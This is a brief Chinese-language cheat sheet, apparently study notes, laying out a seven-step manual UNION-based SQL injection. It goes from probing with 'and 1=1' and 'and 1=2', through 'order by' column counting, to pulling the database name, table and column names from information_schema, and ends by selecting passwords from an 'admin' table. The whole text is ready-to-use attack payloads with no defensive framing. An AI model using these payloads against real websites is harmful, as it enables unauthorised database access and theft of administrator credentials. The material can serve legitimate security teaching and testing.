(一)判断是否存在注入 and 1=1、and 1=2等等 (二)判断字段数 order by 2 (三)判断显错位 union select 1,2 (四)判断库名 and 1=2 union select 1,database() (五)判断表名 and 1=2 union select 1,table_name from information_schema.tables where table_schema =’maoshe’ (六)判断列名 and 1=2 union select 1,column_name from information_schema.columns where table_name =’admin’ limit 2,1 (七)寻找具体数据 and 1=2 union select 1,password from admin |